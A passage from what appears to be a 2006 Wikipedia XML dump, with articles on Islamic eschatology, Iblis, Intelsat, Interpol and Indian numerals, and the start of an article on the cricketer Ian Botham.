Minority  views held by the [[Ahmadiyya]] movement, which mainstream Islam regards as heretics, state that while Jesus was crucified, he did not die on the cross. Instead, he was removed from the cross while still alive after which he died a natural death in [[Kashmir]]. Their belief is that the references to the [[Second Coming]] of Jesus in Islamic eschatological literature are allegorical. This prophecy according to them was fulfilled by the coming of [[Mirza Ghulam Ahmad]].

== Rewards for believers ==

Islamic descriptions of ''Jannah'' ([[Heaven]]) are couched in the language of physical pleasure, sometimes interpreted literally, sometimes allegorically. Heaven is most often described as a cool, well-shaded, and well-watered garden. The rewards of the righteous are also described in explicitly physical terms; they include unlimited food and drink. Some interpretations also promise enormous palaces staffed with multitudes of servants, and perfect, perpetually-virgin spouses (see [[houri]]). 

Muslims stress the belief that it is only the [[Five Pillars of Islam|five pillars of faith]] that bring one to Heaven. Muslims believe that [[Allah]] knows best who will enter Heaven and that some people of the other [[Abrahamic]] faiths (regarded as &quot;People of the book&quot;) will also get into heaven.

== Punishment for nonbelievers ==

The Muslims who will not inherit heaven will be punished with a temporary stay in ''Jahannam'' ([[Hell#Islam|Hell]]), and will go to heaven later as long as there is &quot;one atom of faith in their hearts,&quot; as stated by the Islamic prophet Muhammad. Some, but not all, Muslims also believe that people who do not accept Muhammad after hearing his message, will receive eternal damnation in Jahannam; just as those who did not believe in Jesus and Moses at their respective periods after hearing of their messages will also receive eternal damnation in hell.

The descriptions in the Qur'an of punishment for unbelief (Jahannam) are, like the descriptions of Jannah, very descriptive. Skin is burned off the person's body and then they are given new skin so it can be burned off again. 

:''As for those who reject Our Signs, We will roast them in a Fire. Every time their skins are burned off, We will replace them with new skins so that they can taste the punishment. Allah is Almighty, All-Wise. (4:56)

One interesting point is that the Quran actually states that the skin will be replaced, due to the fact that, in the skin, are the receptors for feeling. Once the skin is burnt down the receptors are destroyed thus no pain will be felt on the burnt place. This is the reason why the burnt skin will be replaced with a new skin so the pain can be felt again.

[[Boil]]ing water is poured down people's throats and it rips their bowels apart. Temperature extremes are applied to the body as punishment.

However, when considering punishments such as those described above, one must also consider that in Islam the afterlife is considered to involve only the spirit, or &quot;roh&quot;. Thus, when terms describing physical distress or physical pleasure are used to indicate what heaven or hell are like in the Qur'an, they are actually terms which refer to spiritual state. A description of heaven being an oasis of comfort or hell being one of violent misery is an analogy comparing the pains of the physical world to the pains of the spirit in the afterlife. From a literary perspective, this interpretation makes sense because the audience--humanity--only really understands the physical environment that surrounds it.

==See also==

*[[Nakir and Munkar]]
*[[Mahdi]]
*[[Jannah]]
*[[Hell#Islam|Hell in Islam]]
*[[Iblis]]

==External links==
*[http://www.usc.edu/dept/MSA/fundamentals/pillars/signsofthelasthour.html Signs of the Last Hour]
*[http://www.al-qiyamah.org/ Islamic views on the Day of Judgement]
*[http://www.guardian.co.uk/saturday_review/story/0,3605,631332,00.html The 72 virgins as a reward for Islamic martyrs.]
*[http://www.islamfortoday.com/firestone01.htm Islam Hijacked] - commentary on martyrdom and the rewards thereof
*[http://www.islam.tc/prophecies/jesus.html Islamic prophecies about Jesus] 
*[http://www.guidedones.com/metapage/frq/islamicpar.htm Paradise in Islam]
*[http://www.islamfrominside.com/Pages/Tafsir/Tafsir%286-73%29.html Blowing of the Trumpet that signals judgement]
*[http://www.islamfrominside.com/Pages/Tafsir/Tafsir%2810-30%29.html The two resurrections]

[[Category:Islamic eschatology|*]]</text>
    </revision>
  </page>
  <page>
    <title>Iblis</title>
    <id>15514</id>
    <revision>
      <id>40474852</id>
      <timestamp>2006-02-20T20:54:34Z</timestamp>
      <contributor>
        <username>Naconkantari</username>
        <id>676502</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/71.126.151.77|71.126.151.77]] ([[User talk:71.126.151.77|talk]]) to last version by Naconkantari</comment>
      <text xml:space="preserve">{{otheruses1|Iblis the devil}}
{{Islam}}
'''Ibl&amp;#299;s''' (Arabic إبليس), is the primary [[devil]] in [[Islam]]. 

He appears more often in the [[Qur'an]] (Islamic holy Book) as the ''[[Shaitan]]'', a term used to refer to all of the evil spirits assisting Iblis, but which is often used to refer to just Iblis. Iblis is mentioned 11 times, and Shaitan &quot;al-Shaitaan&quot; &amp;#8207;(&amp;#1575;&amp;#1604;&amp;#1588;&amp;#1610;&amp;#1591;&amp;#1575;&amp;#1606;) 87 times. He is chief of the spirits of [[evil]] (Shaitan), and his personality is similar to that of the devil in [[Christianity]]. 

Iblis was a [[Jinn]], a creature made of smokeless fire by God (like humans are made of 'clay'). In an outburst rooted in envy, Iblis disobeyed [[Allah]] (Arabic word for God) and was expelled from the grace of Allah. He was later sent to earth along with [[Adam and Eve]] after having lured them into eating fruit from the forbidden tree, although in this role he is always referred to as [[Shaitan|al-Shaitan]]. He was condemned consequently by God to Hell.  He replied with saying that he wanted to bring the inhabitants of Earth down with him, and God, to test Mankind and Jinn, allowed him to roam Earth to attempt to misguide others.

He tempts humans through his whisper (''waswas'', &quot;he whispered&quot;) of sinful ideas in their head and false suggestion (''haiif''). In the end, it is believed, he will be cast into ''[[Jahannam]]'' ([[Hell#Islam|Hell in Islam]]) along with those who give in to his temptation of sinful ideas and disobeyed God's true message to mankind (Islam), while those who successfully try to follow a righteous path will be rewarded with the pleasures of ''[[Jannah]]'' (Paradise or [[Heaven]] in Islam).

The Qur'an does not depict ''Shaitan'' as the enemy of Allah, for Allah is supreme over all his creations and Iblis is just one of his creations. Unlike the Zoroastrian beliefs, all good and bad deeds are from Allah himself and only he can save humanity from the evils of his universe and his creations. Shaitan's single enemy is humanity. He intends to discourage humans from obeying God. Thus, humankind is warned to struggle against the mischiefs of the Shaitan and temptations he puts them in.  A commonly shared belief in both Islam and Christianity is that the universal existence of evil in personal lives is usually experienced because of the devil.

==Etymology==
Non-Muslim scholars generally hold Iblis to be a contraction of the Greek word ''diabolos'', meaning &quot;[[devil]]&quot;. They claim that the Christian and Jewish communities of Arabia during Muhammad's time are likely to have known the word from Greek translations of the [[Hebrew Bible]] and the [[Gospels]]. Muslim scholars, on the other hand, are more inclined to derive the word from the [[Arabic language|Arabic]] verbal root ''balasa'' بلس, meaning &quot;he despaired&quot;.

==Origin==
The Qur'an mentions that he was a [[Jinn|Jinn]] [http://www.usc.edu/dept/MSA/quran/018.qmt.html#018.050 (18-50)] and that he was created from fire [http://www.usc.edu/dept/MSA/quran/007.qmt.html#007.012 (7-12)][http://www.usc.edu/dept/MSA/quran/038.qmt.html#038.076 (38-76)]  - and not as a ''fallen angel'' as mentioned in the Bible.

According to the Qur'an, after God had completed the creation of everything else [http://www.usc.edu/dept/MSA/quran/002.qmt.html#002.029 (2-29)], [[Allah]] announced that He will create a ''[[Khalifa]]'' (viceregent) on Earth, causing the angels to exclaim how He intends to place on earth one who shall make mischief and shed blood (mankind) while they hymn His praise and sanctify Him. It caused them to receive the answer that He knows what they do not [http://www.usc.edu/dept/MSA/quran/002.qmt.html#002.030 (2-30)].

So Allah created Adam and gave him from His knowledge what no other creature of his possess, by teaching him the names of everything, and by presenting them to the angels, Allah demanded that they tell the names [http://www.usc.edu/dept/MSA/quran/002.qmt.html#002.030 (2-30)], knowing that they will fail.

After the angels have admitted that they have no knowledge except that which Allah (God) had given them [http://www.usc.edu/dept/MSA/quran/002.qmt.html#002.030 (2-30)], Allah commanded Adam to display his knowledge in front of the angels [http://www.usc.edu/dept/MSA/quran/002.qmt.html#002.033 (2-33)], and when Adam did, He commanded the angels to prostrate before Adam, so they do except for [[Iblis]] [http://www.usc.edu/dept/MSA/quran/002.qmt.html#002.034 (2-34)], [http://www.usc.edu/dept/MSA/quran/007.qmt.html#007.011 (7-11)], [http://www.usc.edu/dept/MSA/quran/020.qmt.html#020.116 (20-116)].

In another version of the story Allah informs the angels that He will create Man (Bashar) from clay [http://www.usc.edu/dept/MSA/quran/015.qmt.html#015.028 (15-28)] and that as soon as He has completed his creation they should all prostrate before his creation [http://www.usc.edu/dept/MSA/quran/015.qmt.html#015.029 (15-29)], and so they all do [http://www.usc.edu/dept/MSA/quran/015.qmt.html#015.030 (15-30)], except for [[Iblis]] [http://www.usc.edu/dept/MSA/quran/015.qmt.html#015.031 (15-31)], [http://www.usc.edu/dept/MSA/quran/038.qmt.html#038.074 (38-74)] When Allah demanded an explanation from [[Iblis]] of why he refused to prostrate to Adam [http://www.usc.edu/dept/MSA/quran/015.qmt.html#015.032 (15-32)], and [[Iblis]] explains that he would not prostrate before [[Adam and Eve|Adam]] whom Allah has created from clay [http://www.usc.edu/dept/MSA/quran/015.qmt.html#015.033 (15-33)] [http://www.usc.edu/dept/MSA/quran/017.qmt.html#017.061 (17-61)], while he himslef [[Iblis]] was created from fire [http://www.usc.edu/dept/MSA/quran/038.qmt.html#038.076 (38-76)], and as such he was better than [[Adam and Eve|Adam]] [http://www.usc.edu/dept/MSA/quran/007.qmt.html#007.012 (7-12)].

==See also==
*[[Shaitan]]
*[[Jannah]]
*[[Hell]]
*[[Islamic eschatology]]

==External links==
* [http://www.pantheon.org/articles/i/iblis.html Short summary on Iblis]
* [http://www.themystica.org/mystica/articles/i/iblis.html Another short summary]
* [http://web.uvic.ca/~rpn/files/iblis.html Iblis]

==References==
* Gustav Weil, ''The Bible, the Koran and the Talmud'' (London, 1846).

[[Category:Islamic demons]]

[[ar:إبليس]]
[[de:Iblis]]
[[fa:ابلیس]]
[[fr:Iblis]]
[[ms:Iblis]]
[[sr:Иблис]]</text>
    </revision>
  </page>
  <page>
    <title>Intelsat</title>
    <id>15516</id>
    <revision>
      <id>40228414</id>
      <timestamp>2006-02-19T02:32:57Z</timestamp>
      <contributor>
        <username>Gcapp1959</username>
        <id>298824</id>
      </contributor>
      <comment>/* History */</comment>
      <text xml:space="preserve">[[Image:Logo level 2 nav.gif|right]]
'''Intelsat, Ltd.''' is the world’s largest commercial [[satellite]] communications services provider.  On [[July 18]] [[2001]], Intelsat became a private company, 37 years after being formed as '''International Telecommunications Satellite Organization''' ('''ITSO'''), an intergovernmental consortium owning and managing a constellation of [[communications satellite]]s ('''Intelsats''') to provide international broadcast services. Ownership and investment in ITSO (measured in shares) was distributed among ITSO members according to their respective use of services. Investment shares determined each member’s percentage of the total contribution needed to finance capital expenditures. The organization’s primary source of revenue came from satellite usage fees which, after deduction of operating costs, was redistributed to ITSO members in proportion to their shares as repayment of capital and compensation for use of capital. Satellite services were available to any organization (both ITSO members and non-members), and all users paid the same rates.

==History==
The consortium began on [[August 20]], [[1964]] with 11 participating countries. On [[April 6]] [[1965]], Intelsat’s first satellite, the ''Early Bird'', was placed in [[geostationary orbit]] above the [[Atlantic Ocean]] by a [[Delta rocket|Delta D rocket]].

In [[1973]], the name was changed and there were 80 signatories. Intelsat provides service to over 600 Earth stations in more than 149 countries, territories and dependencies.  By 2001, ITSO had over 100 members.  

Since its inception, Intelsat has used several versions (blocks) of its dedicated Intelsat satellites. ITSO competes each block of spacecraft independently, leading to a variety of contractors over the years.  Intelsat’s largest spacecraft supplier is [[Space Systems/Loral]], having built 31 spacecraft (as of 2003), or nearly half of the fleet.

The network in its early years was not as robust as it is now. A failure of the Atlantic satellite in the spring of [[1969]] threatened to stop the ''[[Apollo 11]]'' mission; a replacement satellite fired into orbit went into a bad orbit and could not be recovered in time to use; [[NASA]] had to resort to using undersea cable telephone circuits to bring Apollo's communications to NASA during the moon walk.

Today, the number of Intelsat satellites, as well as ocean-spanning fibre-optic lines, allows rapid rerouting of traffic when one satellite fails. Also, modern satellites are themselves more robust, lasting several more years, with much larger capacity.

==Current operation==
Intelsat was sold for U.S. $3.1bn in [[August]] [[2004]] to four private equity firms: [[Madison Dearborn Partners]], [[Apax Partners]], [[Permira]] and [[Apollo Management]]. The company is merging with [[PanAmSat]]. Intelsat maintains it corporate headquarters in [[Bermuda]], with a majority of staff and satellite functions — administrative headquarters — located at the [[Intelsat Global Services Corporation]] offices in [[Washington, DC]]. This arrangement allows the company to lobby politicians in Washington while filing tax from Bermuda.

Spacecraft operations are controlled through ground stations in [[Fucino, Italy]], [[Clarksburg, Maryland]] (USA), [[Beijing, China]], [[Raisting, Germany]], [[Perth, Western Australia|Perth, Australia]], and [[Paumalu, Hawaii]] (USA). 

Intelsat was operating [[Intelsat Americas-7]] until it was lost on [[29 November]] [[2004]] [http://portal.wikinerds.org/node/152].

==See also==
* [[Inmarsat]]
* [[Intersputnik]]

== External links ==
* [http://www.intelsat.com/ Company home page]

===Data===
*[http://biz.yahoo.com/ic/53/53101.html Yahoo! - Intelsat, Ltd. Company Profile]
*[http://www.dailywireless.org/modules.php?name=News&amp;file=article&amp;sid=3542 Pacific Satellite Fails]

[[Category:Communications satellites]]

[[de:Intelsat (Satellit)]]
[[es:Intelsat]]
[[tr:Intelsat]]</text>
    </revision>
  </page>
  <page>
    <title>ITSO</title>
    <id>15517</id>
    <revision>
      <id>20887709</id>
      <timestamp>2005-08-12T23:09:08Z</timestamp>
      <contributor>
        <username>Fleminra</username>
        <id>44454</id>
      </contributor>
      <comment>redirect [[Intelsat]]</comment>
      <text xml:space="preserve">#REDIRECT [[Intelsat]]</text>
    </revision>
  </page>
  <page>
    <title>Interpol</title>
    <id>15519</id>
    <revision>
      <id>41764107</id>
      <timestamp>2006-03-01T16:00:04Z</timestamp>
      <contributor>
        <username>J M Rice</username>
        <id>182338</id>
      </contributor>
      <comment>/* History */ deleted POV</comment>
      <text xml:space="preserve">:''This article is about the International Criminal Police Organization. For the indie rock band, see [[Interpol (band)]].''
[[Image:Interpol logo.jpg|right|thumb|199px|Interpol logo]]
'''INTERPOL''', more correctly the '''International Criminal Police Organization''', was created in [[1923]] to assist international criminal police co-operation.  INTERPOL, once merely the organization's telegraphic address, was officially incorporated into the organization's new name adopted in [[1956]], prior to which it was known as the International Criminal Police Commission.

INTERPOL is the world's second largest [[international organization]], after the [[United Nations]]; it currently has 184 member countries.  It is financed by annual contributions from its member countries, which total about [[euro|EUR]] 30 million; however, [[Europol]] receives €50 million annually. The Organization is headquartered in [[Lyon]], [[France]] (formerly headquartered in [[Saint Cloud]], a town located in the vicinity of [[Paris]]).  The currently serving President of Interpol is Mr. [[Jackie Selebi]], Commissioner of the South African Police. The current Secretary General, [[Ronald K. Noble]], formerly of the [[United States Department of the Treasury|U.S. Treasury Department]], is the first non-European to hold the position.

Because of the politically neutral role Interpol must play, its Constitution forbids any involvement in crimes that do not overlap several member countries, or any political, military, religious, or racial crimes. Its work centers primarily on public safety and [[terrorism]], [[organized crime]], [[illicit drug production]] and [[drug trafficking]], [[weapons smuggling]], [[people smuggling|trafficking in human beings]], [[money laundering]], [[child pornography]], financial and high-tech crime, and [[political corruption|corruption]]. 

In October [[2001]], the Interpol General Secretariat employed a staff of 384, representing 54 different countries. That same month, INTERPOL began to change from a 9-to-5 agency to a 24-hour agency, making its work easier and more efficient. 

In [[2001]], some 1,400 people were arrested or located as a result of INTERPOL notices.

==History==
Interpol was founded in [[Austria]] in [[1923]] as the International Criminal Police Commission. The organization came under control of [[Nazi Germany]] when Germany declared the [[Anschluss]] (political union between Germany and Austria). The staff and facilities of INTERPOL were utilised as an information gathering unit for the [[Gestapo]], until the Nazi regime fell to [[Allies of World War II|Allied forces]]. 

Senior military officials from [[Britain]], [[France]], [[Belgium]] and [[Scandinavia]] reorganized Interpol into today's organization.

The [[United States]] joined INTERPOL in [[1961]].

==Methodology==
Each member country maintains a [[National Central Bureau]] (NCB) staffed by national [[law enforcement]] officers. The NCB is the designated contact point for the INTERPOL General Secretariat, regional bureaus and other member countries requiring assistance with overseas investigations and the location and apprehension of fugitives. This is especially important in countries which have many law-enforcement agencies: this central bureau is a unique point of contact for foreign entities, which may not understand the complexity of the law-enforcement system of the country they attempt to contact. For instance, the NCB for the [[United States of America]] is housed at the [[United States Department of Justice]] (DOJ). The NCB will then ensure the proper transmission of information to the correct agency.

INTERPOL maintains a large database charting unsolved crimes and both convicted and alleged criminals. At any time, a member nation has access to specific sections of the database and its police forces are encouraged to check information held by Interpol whenever a major crime is committed. The rationale behind this is that [[Illegal drug trade|drugs traffickers]] and similar criminals have international ties, and so it is likely that crimes will extend beyond political boundaries.

A member nation's police force can contact one or more member nations by sending a message relayed through INTERPOL.

Contrary to what has been featured in some works of fiction, INTERPOL officers do not directly conduct inquiries in member countries.

==Member states==
[[Afghanistan]], [[Albania]], [[Algeria]], [[Andorra]], [[Angola]], [[Antigua and Barbuda]], [[Argentina]], [[Armenia]], [[Aruba]], [[Australia]], [[Austria]], [[Azerbaijan]], [[Bahamas]], [[Bahrain]], [[Bangladesh]], [[Barbados]], [[Belarus]], [[Belgium]], [[Belize]], [[Benin]], [[Bolivia]], [[Bosnia and Herzegovina]], [[Botswana]], [[Brazil]], [[Brunei]], [[Bulgaria]], [[Burkina Faso]], [[Burundi]], [[Cambodia]], [[Cameroon]], [[Canada]], [[Cape Verde]], [[Central African Republic]], [[Chad]], [[Chile]], [[People's Republic of China|China]], [[Colombia]], [[Comoros]], [[Republic of the Congo|Congo]], [[Democratic Republic of Congo]], [[Costa Rica]], [[Côte d'Ivoire]], [[Croatia]], [[Cuba]], [[Cyprus]], [[Czech Republic]], [[Denmark]], [[Djibouti]], [[Dominica]], [[Dominican Republic]], [[East Timor]], [[Ecuador]], [[Egypt]], [[El Salvador]], [[Equatorial Guinea]], [[Eritrea]], [[Estonia]], [[Ethiopia]], [[Fiji]], [[Finland]], [[Republic of Macedonia]], [[France]], [[Gabon]], [[The Gambia|Gambia]], [[Georgia (country)|Georgia]], [[Germany]], [[Ghana]], [[Greece]], [[Grenada]], [[Guatemala]], [[Guinea]], [[Guinea Bissau]], [[Guyana]], [[Haiti]], [[Honduras]], [[Hong Kong]], [[Hungary]], [[Iceland]], [[India]], [[Indonesia]], [[Iran]], [[Iraq]], [[Republic of Ireland|Ireland]], [[Israel]], [[Italy]], [[Jamaica]], [[Japan]], [[Jordan]], [[Kazakhstan]], [[Kenya]], [[Republic of Korea]], [[Kuwait]], [[Kyrgyzstan]], [[Laos]], [[Latvia]], [[Lebanon]], [[Lesotho]], [[Liberia]], [[Libya]], [[Liechtenstein]], [[Lithuania]], [[Luxembourg]], [[Madagascar]], [[Malawi]], [[Malaysia]], [[Maldives]], [[Mali]], [[Malta]], [[Marshall Islands]], [[Mauritania]], [[Mauritius]], [[Mexico]], [[Moldova]], [[Monaco]], [[Mongolia]], [[Morocco]], [[Mozambique]], [[Myanmar]], [[Namibia]], [[Nauru]], [[Nepal]], [[Netherlands]], [[Netherlands Antilles]], [[New Zealand]], [[Nicaragua]], [[Niger]], [[Nigeria]], [[Norway]], [[Oman]], [[Pakistan]], [[Panama]], [[Papua New Guinea]], [[Paraguay]], [[Peru]], [[Philippines]], [[Poland]], [[Portugal]], [[Qatar]], [[Romania]], [[Russia]], [[Rwanda]], [[Saint Kitts and Nevis]], [[St Lucia]], [[Saint Vincent and the Grenadines]], [[São Tomé and Príncipe]], [[Saudi Arabia]], [[Senegal]], [[Serbia and Montenegro]], [[Seychelles]], [[Sierra Leone]], [[Singapore]], [[Slovakia]], [[Slovenia]], [[Somalia]], [[South Africa]], [[Spain]], [[Sri Lanka]], [[Sudan]], [[Suriname]], [[Swaziland]], [[Sweden]], [[Switzerland]], [[Syria]],  [[Tajikistan]]. [[Tanzania]], [[Thailand]], [[Togo]], [[Tonga]], [[Trinidad and Tobago]], [[Tunisia]], [[Turkey]], [[Turkmenistan]], [[Uganda]], [[Ukraine]], [[United Arab Emirates]], [[United Kingdom]], [[United States]], [[Uruguay]], [[Uzbekistan]], [[Venezuela]], [[Vietnam]], [[Yemen]], [[Zambia]], [[Zimbabwe]].

==External links==
*[http://www.interpol.int Interpol's official website]
*[http://icpoinfo.tripod.com Interpol Information Website]
*[http://www.janes.com/security/law_enforcement/news/pr/pr060112_1_n.shtml What is Interpol?] - article from Jane's Police Review

[[Category:International organizations]]
[[Category:International law enforcement organisations]]
[[Category:Intelligence agencies]]

[[cs:Interpol]]
[[da:Interpol]]
[[de:Interpol]]
[[es:Organización Internacional de Policía Criminal]]
[[eo:Interpol]]
[[fr:Interpol (organisation)]]
[[he:אינטרפול]]
[[nl:Interpol]]
[[ja:国際刑事警察機構]]
[[no:Interpol]]
[[pt:International Criminal Police Organization]]
[[ru:Интерпол]]
[[fi:Interpol]]
[[sv:Interpol]]
[[vi:Interpol]]
[[tr:Interpol]]
[[zh:国际刑警组织]]</text>
    </revision>
  </page>
  <page>
    <title>ICPO-Interpol</title>
    <id>15520</id>
    <revision>
      <id>24908755</id>
      <timestamp>2005-10-06T18:09:39Z</timestamp>
      <contributor>
        <username>Tedernst</username>
        <id>3700</id>
      </contributor>
      <comment>eliminate double re-direct</comment>
      <text xml:space="preserve">#REDIRECT [[Interpol]]</text>
    </revision>
  </page>
  <page>
    <title>Indian numerals</title>
    <id>15521</id>
    <revision>
      <id>41753353</id>
      <timestamp>2006-03-01T14:24:33Z</timestamp>
      <contributor>
        <username>Noe</username>
        <id>57569</id>
      </contributor>
      <comment>cat</comment>
      <text xml:space="preserve">{{Table_Numeral_Systems}}

Most of the [[positional system|positional]] [[base 10]] [[numeral system]]s in the world  have originated from [[India]], which first developed the concept of positional numerology. The Indian numeral system is commonly referred to in the West as [[Hindu-Arabic numerals|Hindu-Arabic numeral system]], since it reached Europe through the Arabs. 

==[[Devanagari]] numerals and their [[Sanskrit]] names==
Below is a list of the Indian numerals in their [[Devanagari]] form, the corresponding European (Indo-Arabic) equivalents, and their [[Sanskrit]] pronunciation.

&lt;table&gt;
&lt;tr&gt;&lt;th&gt;Devanagari&lt;br&gt;Numeral&lt;th&gt;Arabic/Western&lt;br&gt;Numeral&lt;th&gt;Sanskrit word&lt;br&gt;for the numeral
&lt;tr&gt;&lt;th&gt;&amp;#x966;&lt;td&gt;[[0 (number)|0]]&lt;td&gt;shuunyaha
&lt;tr&gt;&lt;th&gt;&amp;#x967;&lt;td&gt;[[1 (number)|1]]&lt;td&gt;ekaha
&lt;tr&gt;&lt;th&gt;&amp;#x968;&lt;td&gt;[[2 (number)|2]]&lt;td&gt;dwitiyaha
&lt;tr&gt;&lt;th&gt;&amp;#x969;&lt;td&gt;[[3 (number)|3]]&lt;td&gt;tritityaha
&lt;tr&gt;&lt;th&gt;&amp;#x96a;&lt;td&gt;[[4 (number)|4]]&lt;td&gt;chaturaha
&lt;tr&gt;&lt;th&gt;&amp;#x96b;&lt;td&gt;[[5 (number)|5]]&lt;td&gt;panchaha
&lt;tr&gt;&lt;th&gt;&amp;#x96c;&lt;td&gt;[[6 (number)|6]]&lt;td&gt;shashtihi
&lt;tr&gt;&lt;th&gt;&amp;#x96d;&lt;td&gt;[[7 (number)|7]]&lt;td&gt;sapthami
&lt;tr&gt;&lt;th&gt;&amp;#x96e;&lt;td&gt;[[8 (number)|8]]&lt;td&gt;ashtaha
&lt;tr&gt;&lt;th&gt;&amp;#x96f;&lt;td&gt;[[9 (number)|9]]&lt;td&gt;navaha
&lt;/table&gt;

It is thus evident that the '''words''' for each number in the [[Sanskrit]] language very closely approximate the [[Greek language|Greek]] and [[Latin]] words for the same numbers. 

==Other modern Indian languages==
:''See also [[glyphs used with the Hindu-Arabic numeral system]].''
The three Indian languages ([[Hindi]], [[Marathi]] and [[Sanskrit]] itself) that have adapted the Devanagari script to their use also naturally employ the numeral symbols above; of course, the names for the numbers vary by language. The table below presents a listing of the '''symbols''' used in various modern Indian scripts for the numbers from zero to nine:


{| border=&quot;1&quot; cellspacing=&quot;2&quot; cellpadding=&quot;2&quot; style=&quot;BORDER-COLLAPSE: collapse; text-align:center;&quot;
|'''Variant''' || '''0''' || '''1''' || '''2''' || '''3''' || '''4''' || '''5''' || '''6''' || '''7''' || '''8''' || '''9''' || '''Used in'''
|-
|'''Bangla''' numerals ||০|| ১|| ২|| ৩|| ৪|| ৫|| ৬|| ৭|| ৮|| ৯|| [[Bengali language]]
|-
|'''Gujarati''' numerals ||૦|| ૧|| ૨|| ૩|| ૪|| ૫|| ૬|| ૭|| ૮|| ૯|| [[Gujarati language]]
|-
|'''Gurumukhi''' numerals ||੦|| ੧|| ੨|| ੩|| ੪|| ੫|| ੬|| ੭|| ੮|| ੯|| [[Punjabi language]]
|-
|'''Kannada''' numerals ||೦|| ೧|| ೨|| ೩|| ೪|| ೫|| ೬|| ೭|| ೮|| ೯|| [[Kannada language]]
|-
|'''Malayalam''' numerals ||൦|| ൧|| ൨|| ൩|| ൪|| ൫|| ൬|| ൭|| ൮|| ൯|| [[Malayalam language]]
|-
|'''Oriya''' numerals ||୦|| ୧|| ୨|| ୩|| ୪|| ୫|| ୬|| ୭|| ୮|| ୯|| [[Oriya language]]
|-
|'''Tamil''' numerals ||௦  || ௧|| ௨|| ௩|| ௪|| ௫|| ௬|| ௭|| ௮|| ௯|| [[Tamil language]]
|-
|'''Tibetan''' numerals  ||༠|| ༡|| ༢|| ༣|| ༤|| ༥|| ༦|| ༧|| ༨|| ༩|| [[Tibetan language]]
|-
|'''Lepcha''' numerals 
| colspan=&quot;10&quot; | [http://www.omniglot.com/writing/lepcha.htm Lepcha]
| [[Sikkim]] and [[Bhutan]] 
|}

==History==
{{main|History of the Hindu-Arabic numeral system}}

A decimal place system has been traced back to ca. 500 CE in India. Before that epoch, the [[Brahmi numeral]] system was in use; that system did not encompass the concept of the place-value of numbers. Instead, Brahmi numerals included additional symbols for the tens, as well as separate symbols for ''hundred'' and ''thousand''. 

The Indian place-system numerals  spread to neighboring [[Persia]], where they were picked up by the conquering [[Arab]]s. In AD 662, a [[Nestorian]] bishop living in what is now called [[Iraq]] said :

:''I will omit all discussion of the science of the Indians ...  of their subtle discoveries in astronomy - discoveries that are more ingenious than those of the Greeks and the Babylonians - and of their valuable methods of calculation which surpass description. I wish only to say that this computation is done by means of nine signs. If those who believe that because they speak Greek they have arrived at the limits of science would read the Indian texts they would be convinced even if a little late in the day that there are others who know something of value.''

The addition of [[0 (number)|zero]] as a tenth positional digit is documented from the [[9th century]].

As it was from the Arabs that the Europeans learnt this system, the Europeans called them ''[[Arabic numerals]];'' ironically, to this day the Arabs refer to their numerals as ''Indian numerals''. In academic circles they are called the ''Hindu-Arabic'' or ''Indo-Arabic'' numerals.

The significance of the development of the positional number system is probably best described by the French mathematician Pierre Simon Laplace (1749 - 1827) who wrote:

: ''&quot;It is India that gave us the ingenuous method of expressing all numbers by the means of ten symbols, each symbol receiving a value of position, as well as an absolute value; a profound and important idea which appears so simple to us now that we ignore its true merit, but its very simplicity, the great ease which it has lent to all computations, puts our arithmetic in the first rank of useful inventions, and we shall appreciate the grandeur of this achievement when we remember that it escaped the genius of Archimedes and Apollonius, two of the greatest minds produced by antiquity.&quot; ''

Tobias Dantzig, the father of George Dantzig had this to say in ''Number'':

:''&quot;This long period of nearly five thousand years saw the rise and fall of many a civilization, each leaving behind it a heritage of literature, art, philosophy, and religion. But what was the net achievement in the field of reckoning, the earliest art practiced by man? An inflexible numeration so crude as to make progress well nigh impossible, and a calculating device so limited in scope that even elementary calculations called for the services of an expert [...] Man used these devices for thousands of years without contributing a single important idea to the system [...] Even when compared with the slow growth of ideas during the dark ages, the history of reckoning presents a peculiar picture of desolate stagnation. When viewed in this light, the achievements of the unknown Hindu, who some time in the first centuries of our era discovered the principle of position, assumes the importance of a world event.&quot;''

==References==
*Georges Ifrah, ''The Universal History of Numbers.'' John Wiley, 2000.


[[de:Indische Ziffern]]
[[nl:Indiase cijfers]]

[[category:Numeration]]</text>
    </revision>
  </page>
  <page>
    <title>I.Q.</title>
    <id>15522</id>
    <revision>
      <id>15912993</id>
      <timestamp>2005-03-13T05:09:52Z</timestamp>
      <contributor>
        <username>Kevyn</username>
        <id>71581</id>
      </contributor>
      <comment>Fix Double Redirect - [[WP:WS|Please help out by clicking here to fix someone else's Wiki syntax]]</comment>
      <text xml:space="preserve">#REDIRECT [[Intelligence quotient]]</text>
    </revision>
  </page>
  <page>
    <title>Ian Botham</title>
    <id>15524</id>
    <revision>
      <id>40434492</id>
      <timestamp>2006-02-20T14:52:24Z</timestamp>
      <contributor>
        <username>Soames</username>
        <id>739048</id>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{Infobox Cricketer |
flag = England flag.svg |
nationality = English |
country = England |
country abbrev = ENG |
name = Ian Botham |
picture = Cricket no pic.png |
batting style = Right-handed batsman (RHB) |
bowling style = Right-arm [[Fast bowling|fast medium]] (RFM) |
tests = 102 |
test runs = 5200 |
test bat avg = 33.34 |
test 100s/50s = 14/22 |
test top score = 208 |
test overs = 3549.3 |
test wickets = 383 |
test bowl avg = 28.40 |
test 5s = 27 |
test 10s = 4 |
test best bowling = 8/34 |
test catches/stumpings = 120/0 |
ODIs = 116 |
ODI runs = 2113 |
ODI bat avg = 23.21 |
ODI 100s/50s = 0/9 |
ODI top score = 79 |
ODI overs = 1032.1 |
ODI wickets = 145 |
ODI bowl avg = 28.54 |
ODI 5s = 0 |
ODI best bowling = 4/31 |
ODI catches/stumpings = 36/0 |
date = 5 January |
year = 2005 |
source = http://www.cricinfo.com/link_to_database/PLAYERS/ENG/B/BOTHAM_IT_01001529/
}}

'''Ian Terence Botham''' [[Order of the British Empire|OBE]], (born [[November 24]], [[1955]] in [[Heswall]], [[Cheshire]]) ([[nickname]]d &quot;Beefy&quot;) was one of [[English cricket team|England]]'s best-ever [[cricket]]ers and one of the best [[all-rounder|all-round]] cricketers of all time. In a [[Test cricket|Test]] career spanning 15 years from [[1977]], he scored 5,200 runs at 33.54, and took 383 [[wicket]]s at an average of 28.40.  Similarly successful at [[one-day cricket]], he was a [[Wisden]] cricketer of the year in [[1978]].

Whilst his averages suggest he was an average [[batsman]] and [[bowler (cricket)|bowler]], they belie his reputation as one of the greatest match winners of the game.  He tended to play to extremes, so if Botham played well, he often seemed to win the match on his own.

